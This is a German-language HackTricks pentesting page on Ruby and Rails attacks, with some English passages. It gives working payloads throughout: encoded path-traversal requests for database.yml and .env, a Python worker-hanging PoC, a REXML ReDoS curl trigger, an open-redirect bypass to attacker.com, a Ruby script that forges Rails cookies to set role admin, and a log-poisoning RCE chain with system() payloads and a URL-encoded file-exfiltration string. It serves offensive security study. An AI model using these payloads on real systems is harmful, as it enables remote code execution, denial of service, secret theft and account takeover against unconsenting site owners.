Ruby-Tricks

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Datei-Upload zu RCE

Wie in diesem Artikel erklärt, kann das Hochladen einer .rb-Datei in sensible Verzeichnisse wie config/initializers/ zu Remote Code Execution (RCE) in Ruby on Rails-Anwendungen führen.

Tipps:

  • Andere Boot-/Eager-Load-Pfade, die beim App-Start ausgeführt werden, sind ebenfalls riskant, wenn sie beschreibbar sind (z. B. ist config/initializers/ das klassische Ziel). Wenn du einen beliebigen Datei-Upload findest, der irgendwo unter config/ landet und später evaluiert/required wird, kannst du RCE beim Start erhalten.
  • Suche nach dev-/staging-Builds, die nutzerkontrollierte Dateien in das Container-Image kopieren, wo Rails sie beim Start laden wird.

Active Storage image transformation → command execution (CVE-2025-24293)

Wenn eine Anwendung Active Storage mit image_processing + mini_magick verwendet und untrusted Parameter an Bildtransformation-Methoden übergibt, konnten Rails-Versionen vor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 command injection erlauben, weil einige Transformationsmethoden fälschlicherweise standardmäßig erlaubt waren.

  • Ein verwundbares Muster sieht so aus:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

wobei params[:t] und/oder params[:v] vom Angreifer kontrolliert werden.

  • Beim Testen ausprobieren

  • Identifiziere Endpunkte, die variant/processing-Optionen, Transformationsnamen oder beliebige ImageMagick-Argumente akzeptieren.

  • Fuzze params[:t] und params[:v] auf verdächtige Fehler oder Ausführungsnebeneffekte. Wenn du den Methodennamen beeinflussen kannst oder rohe Argumente übergibst, die MiniMagick erreichen, kannst du möglicherweise code execution auf dem Image-Processor-Host erreichen.

  • Wenn du nur Lesezugriff auf generierte Varianten hast, versuche blindes Exfiltrieren mittels manipulierten ImageMagick-Operationen.

  • Abhilfemaßnahmen/Erkennung

  • Wenn du Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mit Active Storage + image_processing + mini_magick und nutzerkontrollierten Transformationen siehst, halte es für ausnutzbar. Empfehle ein Upgrade und das Durchsetzen strikter Allowlists für Methoden/Parameter sowie eine gehärtete ImageMagick-Policy.

Rack::Static LFI / path traversal (CVE-2025-27610)

Wenn der Ziel-Stack Rack-Middleware direkt oder über Frameworks verwendet, erlauben Versionen von rack vor 2.2.13, 3.0.14 und 3.1.12 Local File Inclusion über Rack::Static, wenn :root nicht gesetzt oder falsch konfiguriert ist. Kodierte Traversals in PATH_INFO können Dateien unter dem Arbeitsverzeichnis des Prozesses oder einem unerwarteten Root offenlegen.

  • Suche nach Apps, die Rack::Static in config.ru oder Middleware-Stacks mounten. Versuche kodierte Traversals gegen statische Pfade, zum Beispiel:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Passe das Präfix an, um den konfigurierten urls: zu entsprechen. Wenn die App mit Dateiinhalt antwortet, hast du wahrscheinlich LFI zu allem unter dem aufgelösten :root.

  • Abhilfe: Rack updaten; sicherstellen, dass :root nur auf ein Verzeichnis mit öffentlichen Dateien zeigt und explizit gesetzt ist.

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Rack < 3.0.9.1 und < 2.2.8.1 benötigte superlineare Zeit beim Parsen von manipulierten Content-Type: multipart/form-data-Headern. Ein einzelner POST mit einer gigantischen A=-Parameterliste kann einen Puma/Unicorn-Worker blockieren und DoS oder Request-Queue-Starvation verursachen.

  • Schnelles PoC (hängt einen Worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • Funktioniert gegen jeden Rack-basierten Stack (Rails/Sinatra/Hanami/Grape). Wenn ein frontend wie nginx/haproxy mit keep-alive davor sitzt, in Parallele wiederholen, um Worker zu erschöpfen.
  • Gepatcht durch Linearität des Parsers; prüfe rack-Gem-Version < 3.0.9.1 oder < 2.2.8.1. In Assessments darauf hinweisen, dass WAFs dies selten blocken, weil der Header syntaktisch gültig ist.

REXML XML parser ReDoS (CVE-2024-49761)

Das REXML-Gem < 3.3.9 (Ruby 3.1 und älter) führt bei der Analyse von hexadezimalen numerischen Character-Referenzen mit langen Ziffernläufen (z. B. &#1111111111111x41;) katastrophales Backtracking aus. Jedes XML, das von REXML oder Wrapper-Libraries verarbeitet wird (SOAP/XML API-Clients, SAML, SVG-Uploads), kann für CPU-Erschöpfung missbraucht werden.

Minimaler Trigger gegen einen Rails-Endpunkt, der XML parst:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

If the process stays busy for seconds and worker CPU spikes, it is likely vulnerable. Attack is low bandwidth and affects background jobs that ingest XML as well.

Anwendungen, die das cgi gem verwenden (Standard in vielen Rack-Stacks), können durch einen einzigen bösartigen Header eingefroren werden:

  • CGI::Cookie.parse verhielt sich superlinear; sehr lange Cookie-Strings (Tausende von Trennzeichen) lösen O(N²)-Verhalten aus.
  • CGI::Util#escapeElement-Regex erlaubte ReDoS beim HTML-Escaping.

Beide Probleme wurden in cgi 0.3.5.1 / 0.3.7 / 0.4.2 behoben. Für pentests einen riesigen Cookie:-Header senden oder untrusted HTML an Helfer-Code übergeben und auf Worker-Einfrieren achten. Mit keep-alive kombinieren, um die Wirkung zu verstärken.

The googlesign_in gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the proceedto parameter. A malformed URL like proceedto=//attacker.com/%2F.. bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.

Exploit flow:

  1. Das Opfer klickt auf einen vom Angreifer gehosteten, präparierten Google Sign-In-Link.
  2. Nach der Authentifizierung leitet das Gem auf eine vom Angreifer kontrollierte Domain weiter, leaking flash notices oder beliebige Daten, die in Cookies gespeichert und an die Wildcard-Domain gebunden sind.
  3. Wenn die App kurzlebige Tokens oder magic links im flash speichert, kann dies zu einer Account-Übernahme führen.

Während Tests: grep Gemfile.lock nach googlesign_in < 1.3.0 und teste manipulierte proceedto-Werte. Bestätigen über Location-Header und Cookie-Reflektion.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails verschlüsselt und signiert Cookies mit Schlüsseln, die von secret_key_base abgeleitet sind. If that value leaks (z. B. in einem Repo, Logs oder falsch konfigurierten Credentials), kannst du üblicherweise Cookies entschlüsseln, modifizieren und wieder verschlüsseln. Das führt häufig zu einem authz bypass, wenn die App Rollen, Benutzer-IDs oder Feature-Flags in Cookies speichert.

Minimaler Ruby-Code, um moderne Cookies zu entschlüsseln und wieder zu verschlüsseln (AES-256-GCM, Standard in aktuellen Rails):

Ruby to decrypt/forge cookies ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
Hinweise:
- Ältere Apps können AES-256-CBC und Salts `encrypted cookie` / `signed encrypted cookie` oder JSON/Marshal-Serializer verwenden. Passe Salts, Cipher und Serializer entsprechend an.
- Bei Kompromittierung/Assessment rotiere `secret_key_base`, um alle bestehenden Cookies ungültig zu machen.

## Siehe auch (Ruby/Rails-spezifische Schwachstellen)

- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

Wenn eine App (oft ein einfacher Rack/Sinatra/Rails-Endpunkt) sowohl:
- eine vom Benutzer kontrollierte Zeichenkette wörtlich loggt, als auch
- später eine Datei mit `load` lädt, deren Pfad aus derselben Zeichenkette abgeleitet wird (nach `Pathname#cleanpath`),

kann man oft remote code execution erreichen, indem man das Log vergiftet und die App dazu bringt, die Log-Datei mit `load` zu laden. Wichtige Primitive:

- Ruby `load` wertet den Inhalt der Zieldatei als Ruby aus, unabhängig von der Dateiendung. Jede lesbare Textdatei, deren Inhalt als Ruby geparst werden kann, wird ausgeführt.
- `Pathname#cleanpath` kollabiert `.`- und `..`-Segmente, ohne das Dateisystem zu kontaktieren, und ermöglicht path smuggling: angreiferkontrollierter Junk kann zum Logging vorangestellt werden, während der bereinigte Pfad weiterhin auf die beabsichtigte Datei zeigt (z. B. `../logs/error.log`).

### Minimal vulnerable pattern
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Warum das log gültiges Ruby enthalten kann

Logger schreibt Präfix-Zeilen wie:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

In Ruby, # beginnt einen Kommentar und 9/2/2025 ist nur Arithmetik. Um gültigen Ruby-Code einzuschleusen, müssen Sie:

  • Beginnen Sie Ihre Payload in einer neuen Zeile, damit sie nicht durch das # in der INFO-Zeile auskommentiert wird; senden Sie einen führenden Zeilenumbruch (\n oder %0A).
  • Schließen Sie die hängende [ ab, die durch die INFO-Zeile eingeführt wurde. Ein häufiger Trick ist, mit ] zu beginnen und optional den Parser mit ][0]=1 zufriedenzustellen.
  • Platzieren Sie dann beliebigen Ruby-Code (z. B. system(...)).

Beispiel dafür, was nach einer Anfrage mit einem manipulierten Parameter im Log landen wird:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Einschleusen einer einzigen Zeichenfolge, die sowohl Code ins Log schreibt als auch auf den Log-Pfad auflöst

Wir wollen eine vom Angreifer kontrollierte Zeichenfolge, die:

  • beim roh geloggten Eintrag unseren Ruby-Payload enthält, und
  • beim Durchlaufen von Pathname.new(<input>).cleanpath auf ../logs/error.log auflöst, sodass das anschließende load die soeben vergiftete Logdatei ausführt.

Pathname#cleanpath ignoriert schemes und entfernt Traversal-Komponenten, daher funktioniert Folgendes:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • Das # vor :// bewirkt, dass Ruby den Rest ignoriert, wenn das Log ausgeführt wird, während cleanpath den Suffix weiterhin auf ../logs/error.log reduziert.
  • Die führende Newline bricht die INFO-Zeile auf; ] schließt die offene Klammer; ][0]=1 erfüllt den Parser.

End-to-end exploitation

  1. Sende Folgendes als Backup-Skriptname (URL-kodiere die erste Newline als %0A, falls nötig):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. Die App schreibt deinen Roh-String in logs/error.log.
  2. Die App berechnet cleanpath, das zu ../logs/error.log aufgelöst wird, und ruft load darauf auf.
  3. Ruby führt den Code aus, den du ins Log injiziert hast.

Um eine Datei in einer CTF-like Umgebung zu exfiltrate:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (erstes Zeichen ist ein Zeilenumbruch):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks